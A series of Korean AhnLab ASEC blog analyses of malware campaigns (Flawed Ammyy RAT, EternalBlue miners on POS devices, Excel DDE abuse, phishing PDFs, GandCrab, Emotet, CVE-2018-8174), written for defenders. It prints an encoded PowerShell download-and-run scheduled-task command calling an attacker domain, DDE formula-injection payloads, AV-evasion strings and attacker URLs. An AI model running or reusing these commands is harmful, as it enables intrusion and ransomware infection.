최근 국내 사용자를 대상으로 하는 악성 문서 파일이 유포 중이다.


이 문서 파일은 최종적으로 "Flawed Ammyy" 라고 불리는 RAT(Remote Access Tool) 원격제어 기능의 백도어 악성코드를 사용자의 PC에 설치하는데, 해당 악성코드는 작년에도 스팸 메일의 첨부 파일 형태로 유포된 이력이 있다. 


작년의 사례를 보면 스팸 메일 자체는 영어로 작성되어 있었지만, 악성코드가 검사하는 백신 프로그램 이름 중에 안랩의 V3가 포함되어 있어서 국내 사용자도 대상에 포함될 수 있다는 사실을 추정할 수 있었다. 하지만 최근 접수된 샘플의 경우 직접적으로 국내 사용자를 대상으로 엑셀 문서 파일을 한글로 작성하여 유포되었다는 점이 차이점이라고 할 수 있다.


또한 악성 exe 파일을 직접적으로 다운로드 받는 대신, MSI(Microsoft Installer) 형태의 인스톨러 프로그램을 거쳐 실제 악성코드도 인코딩된 형태로 다운로드 받아 디코딩하여 설치하는 등 여러 단계에 걸친 설치 방식이 특징이다.




해당 파일을 실행하면 아래와 같은 그림을 보여주는데, 이는 MS 오피스에서 기본적으로 매크로 사용이 꺼져 있는 관계로 사회공학적 기법을 사용하여 사용자가 위의 "콘텐츠 사용" 버튼을 클릭하도록 유도하는 방식이다.



"콘텐츠 사용" 버튼을 클릭하면 내부에 포함된 악성 매크로가 실행되는데 다음 url을 통해 외부의 msi 파일을 다운로드 받고 실행하게 된다.


hxxp://update365office.com/agp


다운로드 된 msi 파일은 내부에 exe 파일을 포함하는데 이 파일은 또 다른 악성코드를 다운로드 받는 기능을 가진다. 이 Downloader 악성코드는 현재 실행 중인 프로세스를 검사하고 특정 프로세스가 실행 중인 경우에는 종료한다.


검사하는 프로세스들로는 위와 같이 안랩의 제품들 외에도 다수의 해외 백신 프로그램들이 있다. 즉 백신 프로그램이 설치된 환경에서는 동작하지 않도록 만들어진 것이다.


이후 다음과 같은 경로의 파일 및 디렉터리를 삭제한다.



마지막으로 아래의 url에서 인코딩된 형태의 파일을 다운로드한다.


hxxp://185.17.123.201/dat1.omg

hxxp://185.17.123.201/dat2.omg

hxxp://185.17.123.201/dat3.omg 


다운로드된 파일을 디코딩 과정을 거쳐 exe 형태로 다음 경로에 생성하고 "MicrosoftsSOftWare"라는 이름으로 Run 키에 등록 및 실행한다.


C:\ProgramData\Microsofts Help\wsus.exe 


다운로더는 이후 자가 삭제하게 되며, 삭제하기 전 실행된 최종 형태의 악성코드가 실질적인 백도어로서의 기능을 담당하는 "Flawed Ammyy" 악성코드이다. 해당 악성코드의 경우에도 초기 루틴을 보면 앞의 다운로더와 유사하게 현재 실행 중인 프로세스를 검사하는 루틴이 존재한다.



"Flawed Ammyy" RAT 악성코드는 "Ammyy Admin" (version 3) 이라는 원격 관리 도구 (RAT : Remote Administrate Tool)의 유출된 소스 코드를 기반으로 만들어졌으며, 공격자의 서버에서 명령을 받아 사용자의 PC에 대한 원격 제어를 가능케 한다.


C&C 통신에 사용되는 IP 및 Port 주소는 다음과 같다.


169.239.128[.]148:80


최초 연결 후 C&C 서버로 보내는 패킷을 확인해보면 다음과 같이 사용자 PC에 대한 랜덤한 고유 ID 외에도 OS 정보, 권한, 사용자 이름, 컴퓨터 이름 등의 기본 정보를 전송하는 것을 확인할 수 있다.



안랩에서는 위의 악성코드들에 대해 다음과 같이 진단 중이다.


-  XLS/Downloader

-  MSI/Downloader

-  MSI/Installer

-  BinImage/Encoded

-  Trojan/Win32.Agent

-  Trojan/Win32.Downloader

-  Backdoor/Win32.Agent


Posted by 분석팀

안랩 ASEC은 지난 2월 11일 EternalBlue SMB 취약점으로 국내 POS 장비에 코인 마이너를 전파하는 공격을 확인하였다. 작년 6월에도 같은 이터널 블루 취약점으로 POS 장비의 인터넷이 마비되는 사건(https://asec.ahnlab.com/1143)이 있었으며 재작년 ‘WannaCrypt’ 이부터 현재까지도 공격자들은 SMB 취약점 공격을 악성코드를 전파하는 데 사용하고 있다. 추가로 이번 공격에 사용된 악성코드는 1월 28일 중국 Tencent 업체에서 언급된 것과 동일한 기능을 갖는 것으로 확인되었다. (https://guanjia.qq.com/news/n3/2475.html)


해당 취약점 공격은 윈도우 보안 패치로 방어할 수 있으므로 POS 장비뿐만 아니라 아직 MS 패치를 적용하지 않은 시스템은 감염 피해를 예방하기 위해 업데이트가 시급하다. 이번 국내 POS 장비 공격 과정은 [그림 1]과 같다.



[그림 1] 국내 POS 장비 공격 흐름도


공격 과정 중 EternalBlue SMB 취약점 공격을 발생시키는 주체인 "svchost.exe" 파일의 주요 기능은 아래와 같다.


[네트워크 행위]

- 로컬 시스템의 60124번 포트 바인딩

- 445번 포트 방화벽 설정

- 파워쉘 명령어를 통해 특정 도메인(v.beahh.com)에서 스크립트를 다운로드

- ipconfig /all, netstat –na 명령을 확인되는 모든 ip 대역을 스캔

- http://ip.42.pl/raw, http://jsonip.com 사이트에서 확인되는 ip 대역을 스캔

- SMB 취약점이 확인된 PC에 아래 파워쉘 명령어 실행 -> http://v.beahh.com/v 사이트 접속 후 스크립트 다운로드 명령


cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr 

 "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcA

ZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAO

gAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA="

/F&&c:\\windows\\temp\\svchost.exe

 

[시스템 행위]

- 파워쉘 명령어를 통해 윈도우 계정 패스워드 확인 툴인 MIMIKATZ 실행 (m.ps1)

- MIMIKATZ 툴을 통해서 얻은 계정 정보와 사용자 도메인 정보를 c:\windows\temp\mkatz.ini에 저장

- 파워쉘이 없는 시스템 환경(xp)일 경우 http://w.beahh.com/page.html에 접속하여 스크립트를 다운로드 및 실행


[파일 진단]

현재 안랩 제품에서는 해당 악성코드들을 다음과 같이 진단하고 있다.


파일명

진단명

svchost.exe (SMB 전파)

Trojan/Win32.Trickster.R254998

svchost.exe (sample.exe)

Malware/Win32.Generic.C2950422

wmiex.exe (MAL 1)

Trojan/Win32.Agent.R254993

taskmgr.exe (MAL 2 32bit Binary)

Malware/Win32.Nsanti.C2957178

taskmgr.exe (MAL 2 64bit Binary)

Trojan/Win64.Agent.C3009705

m.ps1 (윈도우 계정탈취)

SCRIPT/Powershell

 


[URL 차단]

 

[SMB 취약점 패치]

- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010

Posted by 분석팀

지난 12월 안랩 ASEC은 DDE (Dynamic Data Exchange)를 이용하여 페이로드를 전달하는 악성 엑셀 문서 파일에 대해 정보를 공개하였다. 당시 접수된 유형은 CSV 형식 엑셀 파일에 cmd 커맨드를 포함한 수식 표현을 통해 악성 기능을 실행하였다. 또한 백신 제품의 진단을 우회하기 위해 반복된 개행이나 무의미한 랜덤 문자 등을 다수 삽입하였다. 

(관련 글: 'Microsoft Office Excel - DDE 이용 악성 기능 실행')


최근에 접수된 악성 엑셀 파일 변종은 기존과 같이 DDE를 이용하였지만 cmd 응용 프로그램을 직접 호출하는 것이 아닌 MSEXCEL 엑셀 인스턴스를 통해 cmd 커맨드를 호출하도록 하였다. 그리고 CSV 형식인 파일 앞부분과 MSEXCEL 앞부분에 무의미한 수식을 좀 더 다양하게 삽입하여 기존 진단법을 우회하였다. 


=[(Optional)수식]MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc'!A0

+[(Optional)수식]MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc'!A0

-[(Optional)수식]MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc'!A0

@[수식]MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc'!A0


[그림 1]기존 - cmd 호출 유형


[그림 2]변종 - MSEXCEL 이용 cmd 호출 유형


DDE를 이용한 엑셀 파일은 주로 국외에서 유입된 스팸 메일을 통해 유포되는 것으로 보이며, 최종 다운로드 된 파일은 정보 유출계열 파일로 확인되었다. 사용자는 의심스러운 메일에 첨부된 엑셀 파일일 경우에는 파일을 다운로드 및 실행하지 말아야 하고, 실행하더라도 아래와 같은 원격 데이터 실행 창에서 "아니오"를 클릭하여 악성 프로세스가 실행되는 것을 방지하여야 한다. 




안랩은 DDE를 이용하여 악성 기능을 수행하는 엑셀 파일에 대해 다음과 같은 진단명으로 진단하고 있다. 

  • XLS/Presenoker.Gen
  • XLS/Downloader 


Posted by 분석팀

안랩 ASEC은 최근 피싱 공격에 사용되는 PDF 악성코드가 URL 탐지를 우회하는 방식으로 제작되어 유포 중인 것을 확인하였다


피싱(Phishing)이란, ‘private data’ ‘fishing’의 합성어로서 사용자 스스로 개인 정보를 입력하도록 유도하여 갈취하는 공격이다이러한 피싱 공격에 사용되는 PDF 악성코드는 주로 자극적인 내용을 통해 사용자의 호기심을 유발하여 피싱 사이트로의 링크 클릭을 유도한다.


일반적인 PDF 뷰어 프로그램은 사용자가 링크를 클릭할 때, 아래의 사진과 같이 URL을 보여주고 해당 사이트에 대한 연결 여부를 묻는 메시지 박스를 팝업시킨다. 이러한 방식이 사용되기 때문에 PDF 파일 내부에는 피싱 사이트의 URL 문자열이 존재하게 된다.




최근 발견된 PDF 악성코드는 링크 클릭 시 다음과 같은 메시지 박스가 팝업된다. URL을 확인해 보면 일반적인 형태와는 다르게 10진수의 숫자 "1593507371"임을 확인할 수 있다.




실제 파일 상에서도 “hxxp://1593507371”과 같은 형태의 URL을 가지고 있다.




하지만 허용버튼 클릭 시 실제 URL“hxxp://94.250.254.43/”으로 연결되며, 이후 다수의 피싱 사이트로 리다이렉트되는 것을 확인할 수 있다.



이것은 웹 브라우저가 일반적으로 사용되는 - 10진수 표기법”(Dot-decimal notation)IP 주소 외에도 10진수 형태의 IP 주소도 지원하기 때문이다. 1593507371Dot-decimal notation 표기법으로 변환할 경우 94.250.254.43”이 되며 웹 브라우저는 94.250.254.43를 입력한 것과 동일하게 인식하기 때문에 URL “hxxp://1593507371hxxp://94.250.254.43/를 입력한 것과 같은 결과를 가져오게 된다.


리다이렉트되는 피싱 사이트들의 목록으로는 다음과 같은 URL들이 있다.

- hxxps://real-your-girls1.com/?u=r8bk605&o=9fnt79w&m=1

- hxxp://r3.red123.ru/c/da57dc555e50572d?s1=13606&s2=119766&j1=1&j3=1

- hxxp://r2.red123.ru/?utm_source=5bcdf3f8d2f30

 

최근 유포되는 피싱 PDF 악성코드는 악성 URL에 의한 진단을 피하기 위해 실제 피싱 사이트 URL을 링크로 직접 사용하는 방식 대신, 해당 피싱 사이트로 리다이렉트 시켜 주는 서버의 IP 주소를 10진수 형태로 변환하여 사용한 후 유포하고 있다.



V3 제품에서는 피싱 기능을 갖는 악성 PDF 파일에 대해 아래와 같이 진단하고 있다.


-  PDF/Phishing


Posted by 분석팀

안랩 ASEC은 2019년 1월 17일 국내 사용자를 대상으로 한 이력서로 가장하여 유포중인 Gandcrab v5.1을 발견하였다.

1월 16일까지는 이력서로 가장한 Gandcrab과 JS 스크립트를 통해 유포되는 Gandcrab은 모두 v5.0.4로 같았다. 

그러나 1월 17일부터 이력서를 통해 유포되는 Gandcrab 버전이 5.1로 변경되었다. (JS 스크립트를 통해 유포되는 GandCrab은 v5.0.4)


2018년 11월 15일 발견 된 이력서를 가장하여 유포중인 Gandcrab(http://asec.ahnlab.com/1178)과 달리, 첨부파일을 통해 랜섬웨어를 실행한다. 첨부파일에는 정상 이력서 문서 파일(*.doc)과 이미지 파일로 위장한 실행파일, 랜섬웨어를 실행하는 바로가기 파일(*.lnk) 이 존재한다.


공격자는 아래 [그림-1]과 같이 실제로 회사에 지원하는 이력서 형태로 보내 첨부파일을 열어보게끔 유도한다.

첨부된 파일을 열어보면 [그림-2] 처럼 문서파일, 이미지 파일, 바로가기 파일이 존재하지만 시스템에서 '알려진 확장자 숨김 ' 속성이 설정되어 있다면 정상 워드문서(*.doc) 2개와 정상 jpg이미지 파일로 착각하게 된다.


또한, 공격에 사용된 이메일 주소는 "GandCrab 랜섬웨어 유포에 사용되는 이메일 주소 (사전예방)" 제목으로 공개한 제작자가 등록한 메일주소로 확인되었다. (http://asec.ahnlab.com/1182)


- hometaxkorea1.com (2018-12-19)

- hometaxkorea2.com (2018-12-19)

- hometaxkorea3.com (2018-12-19)

- hometaxkorea4.com (2018-12-19)

- hometaxkorea5.com (2018-12-19)

- online-klantendienst.com (2018-12-21)

- klantendienst-online.com (2018-12-21)

- klantenservise.com (2018-12-21)

- starhaksa.com (2019-01-02)

- pusandesigncorp.com (2019-01-02)

- kwangjoodesigncorp.com (2019-01-02)

- doremidesigncorp.com (2019-01-02)

- damoadesign.com (2019-01-02)

au-29.com (2019-01-16)

- au-31.com (2019-01-16)

- au-38.com (2019-01-23)

- au-39.com (2019-01-23)

- sicherherheit.com (2019-01-24)

- sicherherheit.net (2019-01-24)

- sicherheits-netzwerk.com (2019-01-24)

- sicherheits-netzwerk.net (2019-01-24)

- kukjedesign.com (2019-01-25)

- freehaksa.com (2019-01-25)

- gildesigncorp.com (2019-01-25)

- dankookdesign.com (2019-01-25)

- chammaeul.com (2019-01-25)




[그림-1] 이메일 내용


[그림-2] 첨부파일


바로가기 파일이 실행되면 hidden속성으로 cmd.exe를 이용해 포트폴리오_윤지인.jpg가 실행되어 정상 문서파일이 열리고, Gandcrab 랜섬웨어가 동작하게 된다.

[그림-3] 1.지원서(윤지인).doc.lnk 바로가기 파일


[그림-4] 바로가기 명령어


만약 바로가기 파일을 먼저 보지 않고, 정상 문서파일과 JPG 이미지파일을 본다고 해도 이력서_윤지인.doc는 이력서 형식만 있을 뿐 내용이 없고, 포트폴리오_윤지인.jpg를 실행 시 정상적인 이미지 구조가 아니므로 사진을 열 수 없다고 나오기 때문에 결국엔 1.지원서(윤지인).doc(*.lnk) 파일을 클릭하게 될것으로 보인다.

[그림-5] 이력서_윤지인.doc 정상 문서 파일


[그림-6] 포트폴리오_윤지인.jpg 이미지 파일로 위장한 Gandcrab 실행파일


Gandcrab 버전은 v5.0.4에서 v5.1로 변경되었고, 감염이후 이용하는 C2주소도 kakaocorp.link(카카오 사칭 페이지)가 추가되었다.


[그림-7] Gandcrab v5.1 감염바탕화면


[그림-8] Gandcrab v5.1 랜섬노트


[그림-9] Gandcrab 내부버전 v5.1


[그림-10] kakao로 사칭한 사이트


현재 V3에서는 다음과 같이 진단하고 있다.


LNK - LNK/GandCrab.S1 (2019.01.16.06)

PE - Trojan/Win32.Gandcrab.C2932076 (2019.01.18.00)


Posted by 분석팀

최근 ASECGandCrab 유포 스크립트를 모니터링 중 국내 백신을 대상으로 하는 새로운 무력화 방식을 사용함을 포착하였다이전 버전에선 아래의 [그림 1]과 같이 "Uninst.exe"의 실행을 통해 제품 삭제를 시도했다면최근 발견된 유포 스크립트는 해당 방식을 제거하고 V3 서비스를 종료하려는 새로운 시도가 발견 되었다(지난 글http://asec.ahnlab.com/1171)


[그림 1.] 기존 V3Lite 언인스톨 관련 코드 (GandCrab v5.0.3)

 

동작방식에 있어서도 변화가 확인되었으며 기존에는 *.JS 자바 스크립트 파일에 의해 GandCrab 랜섬웨어 실행파일(*.EXE)이 생성 및 실행되는 구조였다면, 현재 유포되는 형태는 아래의 [그림 2]와 같이 파워쉘을 통해 파일리스(Fileless) 형태로 동작하며, 랜섬웨어 암호화 행위는 PowerShell.exe 에 의해 발생한다. 또한, 국내 사용자가 많은 백신 제품이 실행 중인 경우 15분간의 시간지연(Sleep()함수) 후에 동작하는 특징을 갖는다.


[그림 2] 감염 순서


유포된 *.JS파일은 아래의 [그림 3]과 같이 난독화 형태로 되어있으며, 내부에 PowerShell.exe를 실행하는 구조이다.


[그림 3.] 악성dll이 내포된 javascript 파일


아래와 같은 명령어를 통해 "랜덤명.log" 파일 실행한다.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" 
-ExecutionPolicy Bypass -Command "IEX (([System.IO.File]::ReadAllText('C:\Users\(User_ID)\Desktop\(랜덤명).log')).Replace('?',''));"

랜덤명.log 파일은 아래 [그림 4]와 같이 Base64로 인코딩된 형태이며, [그림 5]는 디코딩된 파워쉘 스크립트이다.

[그림 4] 인코딩된 파워쉘 스크립트(랜덤명.log)


[그림 5] 디코딩된 파워쉘 스크립트


결과적으로 [그림 5]의 스크립트가 실행되며 해당 파워쉘 스크립트는 [그림 6]의 델파이(Delphi) 언어로 만들어진 코드를 메모리에서 실행한다.

 

[그림 6] 내부 Delphi 코드 중 일부


[그림 6] 코드 중 빨간 박스는 국내 백신 프로그램 2곳을 무력화하기 위한 기능이며, 파랑색 박스는 기존 GandCrab 랜섬웨어 감염 행위와 동일하다. , 실행 순서는 다음과 같다.

(1) V3 서비스 동작확인 ("V3 Service")

(2) 15분간 Sleep()

(3) V3 서비스 종료 시도

(4) DLL 형태의 랜섬웨어 구동

(5) 타 국내 백신 서비스 동작확인 ("ALYac_RTSrv")

(6) 타 백신 Decoy 폴더 우회시도


[그림 7] 내부 dll 코드


기존 GandCrab은 백신을 삭제하는 기능이 캡차 코드 적용으로 삭제가 불가능 해지자 백신을 종료시키는 방법으로 수단을 변경하였다. [그림 7]과 같이 “V3 Service” 이름의 서비스를 검색하여 V3가 실행 중인지 확인하며, 실행 중일 경우 15분 동안 대기(Sleep()함수) V3 제품에 대한 서비스 종료를 시도한다.


안랩 뿐 아니라 다른 국내 백신업체의 경우에도 드라이브의 특정 디렉토리에 임의 명의 Decoy폴더를 만들어 놓고 폴더 내부의 문서가 암호화가 이루어질 경우 랜섬웨어 행위로 탐지하는 Decoy방법을 사용한다.


해당 백신업체의 Decoy 진단을 우회하기 위해 각 드라이브의 루트에 폴더 명의 문자열 중 특정 문자열([2])이 발견되면 해당 폴더의 파일들에 대해 감염을 우회하는 기능이 발견되었다예를 들면 C드라이브에 “!@GNNh” Decoy폴더를 생성해 놓았다면 경로는 [1]과 같다.


Decoy폴더 경로[ C:\!@GNNh\ ]
GandCrab
우회 문자열 [ C:\!@GNNh\ ]

[1] 디코이 폴더의 예시


위 예시에서 GandCrabDecoy경로명의 첫 글자가 특수문자(!)라는 것을 가지고 9개의 특정 문자열로 Decoy를 우회하는 기법을 시도하였다. 우회 문자열은 아래 [ 2]와 같다.


번호

필터 문자열

1

:\!

2

:\@

3

:\#

4

:\$

5

:\%

6

:\^

7

:\&

8

:\=

9

:\-

[2] 국내 타 백신 Decoy폴더 탐지 문자열



안랩에서는 해당 샘플들을 아래와 같이 진단하고 있다.


파일진단 (V3 무력화 관련)



행위진단 (랜섬웨어 행위탐지)



행위진단 (권한상승 행위탐지)





Posted by 분석팀

마이크로소프트 오피스 제품에서 애플리케이션 사이에서 데이터 전달을 위해 제공하는 프로토콜인 DDE (Dynamic Data Exchange)를 이용하여 페이로드를 전달하는 문서 파일은 VBA 매크로 코드를 이용하지 않고도 악성 기능을 수행할 수 있는 방법이다. 2017년 하반기부터 본격적으로 이러한 DDE를 이용한 악성 워드, 엑셀 등의 문서 파일이 유포되었고, 그해 12월 마이크로소프트는 워드만 DDE 기능을 기본적으로 비활성 하였다. 반면 엑셀에 대해서는 DDE 비활성화를 하지 않았으며 다음과 같은 수식(Formula) 표현으로 여전히 calc 프로세스를 실행하는 cmd 커맨드를 실행할 수 있다. 


=cmd|'/C calc'!A0


+cmd|'/C calc'!A0


-cmd|'/C calc'!A0


@SUM(A1:A2)*cmd|'/C calc'!A0


엑셀에서 수식은 일반적으로 사용하는 "=" 외에도 "+" 와 "-" 그리고 연산을 함께 덧붙인다면 "@" 문자로도 시작할 수 있다. "+" 와 "-" 문자는 연달아 있더라도 한 개의 수식 시작 문자로 인식된다. 엑셀과 cmd (DDE 프로토콜을 통해 엑셀은 클라이언트, cmd는 접속 대상 원격 서버가 된다) 애플리케이션 사이의 데이터 전달 과정에서 데이터를 읽어 cmd 커맨드를 실행할 수 있는 것이다. 


안랩 ASEC은 최근 몇 개월동안 위와 같은 DDE를 이용한 악성 엑셀 파일이 스팸 메일 등을 통해 다수 유포되는 정황을 확인하였다. 특히 엑셀 통합문서인 *.xls 나 *.xlsx 형태가 아닌 쉼표로 분리되는 텍스트 형태의 *.csv 파일 형식을 이용하였다. 이 때문에 정해진 파일 포맷이 아니기 때문에 "\r\n" 개행이나 무의미한 랜덤 문자 등을 다수 삽입해 파일 크기 등을 늘리는 등 그 유형을 다양하게 하여 백신 제품의 진단을 우회하였다. 유포 당시 확장자는 엑셀 프로그램으로 인식 및 실행될 수 있게 *.csv, *.xls, *.slk 등 다양하였다.


개행을 파일 앞에 다수 삽입한 유형

개행과 랜덤 문자를 다수 삽입한 유형

악성 엑셀 파일이 DDE를 이용해 cmd 커맨드를 실행하게 되면 Powershell 프로세스 또는 bitsadmin 등을 이용하여 웹 리소스에 접근하여 악성 파일을 추가 다운로드 받는다. 다운로드 받은 최종 페이로드는 *.jar 확장자로 유포되는 Adwind 계열의 원격제어 백도어 파일이 가장 많았으나, 정보유출 목적의 실행 파일을 다운로드 하는 *.ps1 나 *.vbs 확장자의 스크립트 파일도 확인되었다.


참고로 실행 과정에서 DDE를 이용하여 원격 데이터에 접근하려고 하는 오피스 문서를 실행할 때, 사용자에게 원격 데이터 접근을 위해서 CMD.EXE 와 같은 응용 프로그램을 수행하는 것을 허용할 것인지 확인하는 메시지 창이 뜬다. 의심스러운 메일에 첨부된 엑셀 파일일 경우에는 아래 창에서 "아니오" 를 클릭하여 악성 프로세스가 실행되는 것을 방지하여야 한다.


사용자에게 CMD.EXE 프로세스 실행 여부 확인 - "아니오" 클릭

안랩은 DDE를 이용하여 악성 기능을 수행하는 엑셀 파일에 대해 다음과 같은 진단명으로 진단하고 있다. 

  • XLS/Presenoker.Gen (2018.12.12.03)
  • XLS/Downloader 


Posted by 분석팀

안랩 ASEC은 갠드크랩 악성코드관련 정보를 게시하는 marcelo 트위터를 통해 GandCrab의 새로운 버전인 v5.0.9 파일을 확인하였다.


현재 국내에서 활발히 유포 되고있는 Gandcrab v5.0.4와 다른 점은 아래 [그림 1]과 같은 메시지 창을 가장 먼저 띄운다. 이 메시지를 보면 곧 국내에도 Gandcrab v5.0.9가 유포될 것으로 보이며 사용자들의 주의가 필요하다.


[그림 1] 메시지 박스


해당 메시지 박스를 클릭하기 전 까지는 감염이 되지 않으며 확인을 누를 시 기존에 알려진 Gandcrab과 동일하게 특정 프로세스 종료 및 특정 사용자 언어를 확인하여 감염 유무 결정, 암호화 시 랜덤명으로 확장자 변경 등의 행위를 한다. 바탕화면과 랜섬노트, 내부버전 모두 5.0.9로 변경되었다.

[그림 2] GandCrab v5.0.9 감염 배경화면


[그림 3] GandCrab 랜섬노트


[그림 4] GandCrab 내부버전


현재 V3에서는 Gandcrab v5.0.9가 실행될 경우 다음과 같이 차단하고 있다.

[그림 5] V3 행위 차단 메시지


Posted by 분석팀

안랩 ASEC은 국내 사용자를 대상으로 문서 확장자를 사용하는 XML파일을 스팸 메일을 통해 유포되고 있음을 확인하였다. 

XML(Extensible Markup Language)파일은 구조적인 데이터를 쓰기위해 만들어진 파일로 다양하게 사용되고 있다.

 

현재 국내에 유포되는 doc확장자의 XML파일은 아래 그림처럼 상단에 <?mso-application progid="Word.Document"?> 가 명시되어 있다. 이는 XML파일을 Word로 연결하여 실행하겠다는 의미이며, 이후 내용은 Word로 읽어 실행된다. progid값은 다른 값으로도 사용될 수 있으며 이는 <?mso-application progid="Excel.Sheet"?> 형태의 Excel 파일로 악용될 수 있음을 시사한다.


 

 

 

XML파일을 실행하면 Word 프로그램을 통해 실행되며 VBA (Visual Basic for Applications, Microsoft Office 응용프로그램의 확장을 위한 프로그래밍 언어) 매크로를 포함하고 있다. 아래 그림처럼 VBA 매크로를 실행하도록 유도하는 문구의 그림이 존재한다.

 

 

XML파일 내부에는 base64 로 인코딩 된 데이터가 존재한다. 이 중 "editdata.mso" 인 데이터를 디코딩하면 ActiveMime 헤더를 갖는 파일이 생성된다. ActiveMime은 Office 매크로 인코딩에 사용되는 문서화되지 않은(undocumented) Microsoft 파일 형식이다. 오프셋 0x32 위치부터 데이터를 풀면 OLE개체가 생성되며, 생성된 OLE 개체에 VBA 매크로가 존재한다.

 

 

 

VBA 매크로는 문서파일이 열릴 때 동작하며, XML 파일 가장 아래에 존재하는 난독화 된 데이터를 읽어 와 실행하는 행위를 한다. cmd로 실행되는 난독화된 데이터는 powershell을 실행하여 특정 주소의 파일을 사용자 PC의 %TEMP% 경로에 다운로드하여 실행 하는 행위를 한다.

 

 

 

안랩 ASEC에서 사용중인 자동분석 시스템(RAPIT)에서의 행위 정보를 통해 다운로드 시도하는 주소를 알 수 있다. 

 

 

powershell 을 통해 다운로드되는 파일은 Emotet 유형의 악성코드로 확인되었다.




서두에서 언급한 것과 같이 해당 악성 파일은 스팸 메일을 통해 유포되고 있으며, Word 문서 파일 내부의 이미지를 통해 사용자로 하여금 큰 의심 없이 매크로를 실행시키도록 유도하므로 출처를 알 수 없는 메일의 첨부 파일 실행을 삼가고 확인되지 않은 문서 파일 내부의 매크로를 실행하는데 있어서 주의가 필요하다.

 

V3 제품에서는 아래와 같이 진단하고 있다.

 

- XML/Dropper.S1

- XML/Downloader

- Trojan/Win32.Emotet


Posted by 분석팀

안랩 ASEC은 랜섬웨어를 포함하여 국내 악성코드 유포에 널리 사용되는 IE 취약점 CVE-2018-8174에 대한 분석을 진행하였다. 해당 취약점은 메그니베르 랜섬웨어 유포에도 사용되고 있으며, 보안패치 적용을 통해 피해를 예방하는 작업이 필요하다.


AhnLab_분석팀_CVE-2018-8174_분석보고서.pdf



MS 보안 업데이트 페이지 (CVE-2018-8174)

https://portal.msrc.microsoft.com/ko-kr/security-guidance/advisory/CVE-2018-8174




01. 요약

1) CVE-2018-8174 개요

CVE-2018-8174 취약점은 VBScript엔진의 Use After Free 발생으로 인한 객체 재사용으로 발생한다.

원격 실행이 가능한 취약점이며, 영향받는 버전은 Internet explorer8, Internet explorer9, Internet explorer10, Internet explorer11(1803 이하 버젼), Windows 10(1803 이하), Windows 7, Windows 8, Windows Server 이다.


02. 사전지식

1) VBScript 엔진이 스크립트를 실행하는 방법

) 정의

VBScript 엔진에서 스크립트는 엔진이 해석 가능한 Precompiled Code(이하 P-Code) 로 변환되어 실행된다. 변환된 P-Code 0x00 ~ 0x6F112개의 값을 가지며, VBScript 엔진의 내부 함수인 RunNoEH 에서 해석 후 P-Code에 적합한 VBScript 함수를 호출한다. RunNoEH 함수는 [그림 1] 와 같다.


[그림 1] RunNoEH 함수 정의

 

) 실행방법

P-CodeRunNoEH 함수에서 실행이 되며 [그림 1]의 첫번째 파라미터인 CScriptRuntime 클래스 내부에 위치한다. CScriptRuntime 클래스는 [그림 2]와 같으며 0xC0에 위치한 멤버변수 Compiled Script를 통해 P-Code의 위치를 알 수 있다. [그림 2]0xB4에 위치한 멤버변수 Position Counter는 다음 실행할 P-Code 명령어를 가리키고 있다. 이는 EIP 레지스터와 유사한 역할을 수행한다.


[그림 2] CScriptRuntime 클래스

 

VBScript엔진에서 P-Code[그림 3]처럼 Call-Return 방식으로 실행된다. Call-Return 방식이란 Global CodeP-Code를 실행하면서 내부적으로 Call을 호출하는 P-Code를 만났을 때 다음 실행할 P-Code를 저장하고 해당 함수의 P-Code 명령어를 실행하는 방식이다


[그림 3] P-Code 실행 흐름

 

) 도구 소개

Kaspersky 사에서 P-Code를 추출하는 스크립트를 github에 공개했다(참고문헌[1]). 이를 이용하면 위에서 설명한 CScriptRuntime 클래스의 Compiled Script 를 추출하여 분석에 이용할 수 있다.

 


03. 상세 분석

1) CVE-2018-8174

) 취약점 발생 원리


CVE-2018-8174 취약점은 VBScript엔진의 Use After Free 발생으로 인한 객체 재사용 문제를 명명한 것이다.

아래 [그림 4], [그림 5] CVE-2018-8174 취약점에서 Use After Free 발생원리를 정리한 그림이다. 그림의 스크립트는 CVE-2018-1874 PoC(Proof of Concept) 스크립트 이다. 그림에 정의된 숫자 순서대로 진행되며 [그림 4], [그림 5]는 순서대로 이어진다.

 


[그림 4] Use After Free 원리-1

 

[그림 4]의 스크립트 내용 중 1번의 Dim은 변수 선언이며, 전역변수 o를 선언하게 된다. 2번의 Redim의 의미는 배열 선언이고 arr로 명명된 2개의 배열이 선언된다. 3번의 과정을 통해 cal1 클래스객체를 선언된 첫번째 배열 arr(0)에 할당 한다. 이 과정으로 첫번째 배열 arr(0)cal1 클래스객체의 주소가 저장되고 클래스 객체에 대한 참조 횟수(레퍼런스 카운트)1이 된다.

 

[그림 5] Use After Free 원리-2

 

[그림 4] 과정 이후, [그림 5] 4번의 메모리 해제 과정을 진행한다. Erase 문에 의해서 선언된 배열 arr 삭제를 시도 한다. arr배열의 첫 번째 요소인 arr(0)을 삭제할 때 해당 배열에 저장된 cla1 클래스의 Class_Terminate함수가 콜백함수로 호출되어 5번의 과정을 진행한다. 5번의 과정은 1번의 과정에서 선언된 전역변수 oarr(0)에 저장된 cla1 클래스객체 주소 값을 저장한다. 자신을 참조하는 변수가 늘었으므로 cla1 클래스의 참조 횟수는 1 증가한다. 6번 에서 arr(0)에 저장된 클래스객체 주소를 다른 값으로 바꾸게 되고 이로 인해 cla1 클래스의 참조 횟수는 1 감소된다. 이후 7번에서 콜백함수는 종료 되며, 참조 횟수의 증가, 감소가 일정하여 클래스객체 주소에 대한 free() 함수를 호출한다. 마지막 8번을 통해 전역변수 o의 값을 출력하면 이미 해제된 메모리 주소를 가리키고 있다.

 


[그림 6] VBScriptClass::Release 함수

 

